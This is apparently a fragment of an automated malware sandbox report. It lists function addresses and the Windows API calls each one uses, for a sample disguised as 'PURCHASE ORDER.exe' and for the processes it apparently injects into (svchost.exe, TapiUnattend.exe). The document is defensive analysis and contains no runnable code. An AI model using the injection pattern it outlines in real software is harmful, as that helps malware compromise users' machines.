            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042BF0 NtAllocateVirtualMemory,LdrInitializeThunk,5_2_03042BF0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042AD0 NtReadFile,LdrInitializeThunk,5_2_03042AD0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042AF0 NtWriteFile,LdrInitializeThunk,5_2_03042AF0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042F30 NtCreateSection,LdrInitializeThunk,5_2_03042F30
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042FB0 NtResumeThread,LdrInitializeThunk,5_2_03042FB0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042FE0 NtCreateFile,LdrInitializeThunk,5_2_03042FE0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042E80 NtReadVirtualMemory,LdrInitializeThunk,5_2_03042E80
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042EE0 NtQueueApcThread,LdrInitializeThunk,5_2_03042EE0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042D10 NtMapViewOfSection,LdrInitializeThunk,5_2_03042D10
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042D30 NtUnmapViewOfSection,LdrInitializeThunk,5_2_03042D30
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042DD0 NtDelayExecution,LdrInitializeThunk,5_2_03042DD0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042DF0 NtQuerySystemInformation,LdrInitializeThunk,5_2_03042DF0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042C60 NtCreateKey,LdrInitializeThunk,5_2_03042C60
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042C70 NtFreeVirtualMemory,LdrInitializeThunk,5_2_03042C70
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042CA0 NtQueryInformationToken,LdrInitializeThunk,5_2_03042CA0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030435C0 NtCreateMutant,LdrInitializeThunk,5_2_030435C0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030439B0 NtGetContextThread,LdrInitializeThunk,5_2_030439B0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042B80 NtQueryInformationFile,5_2_03042B80
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042AB0 NtWaitForSingleObject,5_2_03042AB0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042F60 NtCreateProcessEx,5_2_03042F60
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042F90 NtProtectVirtualMemory,5_2_03042F90
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042FA0 NtQuerySection,5_2_03042FA0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042E30 NtWriteVirtualMemory,5_2_03042E30
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042EA0 NtAdjustPrivilegesToken,5_2_03042EA0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042D00 NtSetInformationFile,5_2_03042D00
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042DB0 NtEnumerateKey,5_2_03042DB0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042C00 NtQueryInformationProcess,5_2_03042C00
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042CC0 NtQueryVirtualMemory,5_2_03042CC0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042CF0 NtOpenProcess,5_2_03042CF0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03043010 NtOpenDirectoryObject,5_2_03043010
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03043090 NtSetValueKey,5_2_03043090
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03043D10 NtOpenProcessToken,5_2_03043D10
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03043D70 NtOpenThread,5_2_03043D70
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_005D9130 NtCreateFile,5_2_005D9130
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_005D92A0 NtReadFile,5_2_005D92A0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_005D93A0 NtDeleteFile,5_2_005D93A0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_005D9440 NtClose,5_2_005D9440
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_005D95A0 NtAllocateVirtualMemory,5_2_005D95A0
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,0_2_00434D50
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_004461ED
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004364AA
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00409A400_2_00409A40
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004120380_2_00412038
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004271610_2_00427161
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0047E1FA0_2_0047E1FA
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004212BE0_2_004212BE
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004433900_2_00443390
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004433910_2_00443391
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0041A46B0_2_0041A46B
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0041240C0_2_0041240C
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004465660_2_00446566
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004045E00_2_004045E0
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0041D7500_2_0041D750
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004037E00_2_004037E0
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004278590_2_00427859
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004128180_2_00412818
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0040F8900_2_0040F890
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0042397B0_2_0042397B
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00411B630_2_00411B63
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0047CBF00_2_0047CBF0
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0044EBBC0_2_0044EBBC
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00412C380_2_00412C38
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00490D700_2_00490D70
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0044ED9A0_2_0044ED9A
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00423EBF0_2_00423EBF
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00424F700_2_00424F70
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0041AF0D0_2_0041AF0D
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_03F5D2D80_2_03F5D2D8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004185D32_2_004185D3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004100332_2_00410033
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E0B32_2_0040E0B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004011B02_2_004011B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004022B02_2_004022B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042ECD32_2_0042ECD3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004025C02_2_004025C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040FE132_2_0040FE13
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004167C32_2_004167C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00402FA02_2_00402FA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004167BE2_2_004167BE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E3F02_2_03A4E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B003E62_2_03B003E6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFA3522_2_03AFA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC02C02_2_03AC02C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE02742_2_03AE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF41A22_2_03AF41A2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B001AA2_2_03B001AA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF81CC2_2_03AF81CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A301002_2_03A30100
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADA1182_2_03ADA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC81582_2_03AC8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD20002_2_03AD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3C7C02_2_03A3C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A407702_2_03A40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A647502_2_03A64750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5C6E02_2_03A5C6E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B005912_2_03B00591
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A405352_2_03A40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEE4F62_2_03AEE4F6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE44202_2_03AE4420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF24462_2_03AF2446
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF6BD72_2_03AF6BD7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFAB402_2_03AFAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA802_2_03A3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A02_2_03A429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B0A9A62_2_03B0A9A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A569622_2_03A56962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A268B82_2_03A268B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E8F02_2_03A6E8F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4A8402_2_03A4A840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A428402_2_03A42840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABEFA02_2_03ABEFA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4CFE02_2_03A4CFE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A32FC82_2_03A32FC8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A82F282_2_03A82F28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A60F302_2_03A60F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE2F302_2_03AE2F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB4F402_2_03AB4F40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A52E902_2_03A52E90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFCE932_2_03AFCE93
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFEEDB2_2_03AFEEDB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFEE262_2_03AFEE26
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40E592_2_03A40E59
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A58DBF2_2_03A58DBF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3ADE02_2_03A3ADE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4AD002_2_03A4AD00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADCD1F2_2_03ADCD1F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0CB52_2_03AE0CB5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30CF22_2_03A30CF2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40C002_2_03A40C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A8739A2_2_03A8739A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF132D2_2_03AF132D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2D34C2_2_03A2D34C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A452A02_2_03A452A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE12ED2_2_03AE12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5B2C02_2_03A5B2C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4B1B02_2_03A4B1B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7516C2_2_03A7516C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2F1722_2_03A2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B0B16B2_2_03B0B16B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF70E92_2_03AF70E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFF0E02_2_03AFF0E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEF0CC2_2_03AEF0CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A470C02_2_03A470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFF7B02_2_03AFF7B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF16CC2_2_03AF16CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A856302_2_03A85630
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADD5B02_2_03ADD5B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF75712_2_03AF7571
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFF43F2_2_03AFF43F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A314602_2_03A31460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5FB802_2_03A5FB80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB5BF02_2_03AB5BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7DBF92_2_03A7DBF9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFFB762_2_03AFFB76
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADDAAC2_2_03ADDAAC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A85AA02_2_03A85AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE1AA32_2_03AE1AA3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEDAC62_2_03AEDAC6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB3A6C2_2_03AB3A6C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFFA492_2_03AFFA49
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF7A462_2_03AF7A46
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD59102_2_03AD5910
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A499502_2_03A49950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5B9502_2_03A5B950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A438E02_2_03A438E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAD8002_2_03AAD800
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFFFB12_2_03AFFFB1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A41F922_2_03A41F92
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A03FD22_2_03A03FD2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A03FD52_2_03A03FD5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFFF092_2_03AFFF09
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A49EB02_2_03A49EB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5FDC02_2_03A5FDC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF7D732_2_03AF7D73
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A43D402_2_03A43D40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF1D5A2_2_03AF1D5A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFFCF22_2_03AFFCF2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB9C322_2_03AB9C32
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4_2_025403874_2_02540387
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4_2_02527E724_2_02527E72
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4_2_02527E774_2_02527E77
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4_2_025216E74_2_025216E7
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4_2_0251F7674_2_0251F767
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4_2_025214C74_2_025214C7
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4_2_02529C874_2_02529C87
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4_2_025265C74_2_025265C7
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4_2_028A9E144_2_028A9E14
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4_2_028CAA834_2_028CAA83
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4_2_028B43834_2_028B4383
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4_2_028ABBC34_2_028ABBC3
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4_2_028A9E634_2_028A9E63
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4_2_028ABDE34_2_028ABDE3
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4_2_028B256E4_2_028B256E
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4_2_028B25734_2_028B2573
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030CA3525_2_030CA352
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030D03E65_2_030D03E6
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0301E3F05_2_0301E3F0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030B02745_2_030B0274
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030902C05_2_030902C0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030001005_2_03000100
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030AA1185_2_030AA118
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030981585_2_03098158
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030D01AA5_2_030D01AA
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030C41A25_2_030C41A2
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030C81CC5_2_030C81CC
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030A20005_2_030A2000
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030347505_2_03034750
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030107705_2_03010770
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0300C7C05_2_0300C7C0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0302C6E05_2_0302C6E0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030105355_2_03010535
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030D05915_2_030D0591
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030B44205_2_030B4420
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030C24465_2_030C2446
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030BE4F65_2_030BE4F6
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030CAB405_2_030CAB40
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030C6BD75_2_030C6BD7
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0300EA805_2_0300EA80
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_02FF68B85_2_02FF68B8
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030269625_2_03026962
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030129A05_2_030129A0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030DA9A65_2_030DA9A6
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0301A8405_2_0301A840
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030128405_2_03012840
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0303E8F05_2_0303E8F0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03052F285_2_03052F28
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03030F305_2_03030F30
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030B2F305_2_030B2F30
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03084F405_2_03084F40
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0308EFA05_2_0308EFA0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03002FC85_2_03002FC8
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0301CFE05_2_0301CFE0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030CEE265_2_030CEE26
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03010E595_2_03010E59
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03022E905_2_03022E90
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030CCE935_2_030CCE93
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030CEEDB5_2_030CEEDB
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0301AD005_2_0301AD00
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030ACD1F5_2_030ACD1F
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03028DBF5_2_03028DBF
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0300ADE05_2_0300ADE0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03010C005_2_03010C00
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030B0CB55_2_030B0CB5
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03000CF25_2_03000CF2
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030C132D5_2_030C132D
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0305739A5_2_0305739A
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030152A05_2_030152A0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_02FFD34C5_2_02FFD34C
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0302B2C05_2_0302B2C0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030B12ED5_2_030B12ED
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030DB16B5_2_030DB16B
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0304516C5_2_0304516C
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0301B1B05_2_0301B1B0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_02FFF1725_2_02FFF172
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030170C05_2_030170C0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030BF0CC5_2_030BF0CC
